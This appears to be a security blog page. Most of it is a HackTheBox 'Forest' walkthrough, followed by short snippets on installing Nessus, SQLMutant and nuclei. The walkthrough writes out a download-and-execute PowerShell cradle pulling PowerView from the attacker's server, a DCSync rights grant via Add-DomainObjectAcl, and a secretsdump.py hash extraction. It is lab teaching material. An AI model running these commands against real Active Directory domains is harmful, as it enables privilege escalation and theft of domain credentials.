python http server to share files between two boxes or machines and assinging a user dcsync rights

 scenario: solving hackthebox forest challenge.

say you already have remote evil winrm shell on the remote AD box. and you are connected with that box via vpn. say 10.10.10.161 is AD's ip and 10.10.14.2 is your ip. 

now you need you upload some files in the AD box from your box. lets see how python server help in this regard. 

git clone https://github.com/PowerShellMafia/PowerSploit/ -b dev 

now go to cd PowerSploit/Recon to get PowerView.ps1

root@ippsec:~/htb/boxes/forest/www# in this directory we have put PowerView.ps1 tool. 

root@ippsec:~/htb/boxes/forest/www# python3 -m http.server 80


now go to AD box via winrm shell: using user svc-alfresco

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> IEX(New-Object Net.WebClient).downloadString('http://10.10.14.2/PowerView.ps1')

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $pass = convertto-securestring 'PleaseSub' -AsPlainText -Force

PleaseSub is the password of ippsec user that we created on AD using net user command and add that user to a special group in AD. The reason is if we add ippsec user on that group, then we can assign dcsync rights to that user in order to extract password hashes from AD. because doing bloodhound we have found that, there is a group on AD named account operators and svc-alfresco is a member of that group. the thing is account operator group allow a user say svc-alfresco to create other user and assign them to other group. leveraging this we have created ippsec user and add him exchange windows permissions group. once ippsec user in this group exchange windows permissions, then we can further assign him dcsync rights.

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> $cred = New-Object System.Management.Automation.PSCredential('HTB\ippsec', $pass) 

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipleIdentity ippsec -Rights DCSync

 

 now come back to your host machine:

root@ippsec:/usr/share/doc/python3-impacket/examples# ./secretsdump.py htb.local/ippsec:PleaseSub@10.10.10.161

Install Nessus from docker

Docker installation. Give the below commands one by one. apt install docker-cli or apt install docker.io After the installation is complete, if you are inside wsl then give this command to start docker, because inside wsl systemd (systemctl) does not work: service docker start WSL troubleshooting : If the above command " service docker start " does not work then use below command: dockerd (It may not work if any previous docker process is running. It will show you pid of that process. Use this command to kill that process " kill -9 pid " and run dockerd command again) If " docker ps -a " giving error like " Cannot connect to the Docker daemon at unix:///run/podman/podman.sock.

Installtion of SQLMutant tool

Showing this cheat sheet for kali or debian based system.  This tool actually analyze everything and give you the vulnerable url where sql injection is possible. You just need to use then sqlmap to exploit that.   Prerequisite: apt install pipx -y (for ubuntu) pip3 install uro or pipx install uro pipx ensurepath pipx completions  (not needed)  source ~/.bashrc   or restart system If go tool is not installed then run the below two commands first ( golang-go ) or follow this link to install go (https://mahimfiroj.blogspot.com/2024/12/installing-nuclei-in-kali.html) otherwise skip this step.   dpkg -l | grep packagename (Using this command you can check package is installed or not) apt install gccgo-go -y or apt install gol...

Installing nuclei and go tool in kali

 First you need to install go: https://go.dev/doc/install You need to download this go tool go1.23.4.linux-amd64.tar.gz by clicking the Download button.  Say you are root and download the tool in your Downloads directory. Now run the below command: tar -C /usr/local -xzf go1.23.4.linux-amd64.tar.gz (if this cmd fails then you need to move this tool to /usr/local folder then run this cmd tar -xzf  go1.23.4.linux-amd64.tar.gz) Now add /usr/local/go/bin to the PATH environment variable. You can do this by adding the following line to your $HOME/.profile or /etc/profile (for a system-wide installation): export PATH=$PATH:/usr/local/go/bin Now use the following command for immediate effect. Preventing you from log off then log back in: source $HOME/.profile go version (to check it is installed successfully) Install nuclei: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest or apt install nuclei nuclei -update-templates nuclei -u https://www.domain....
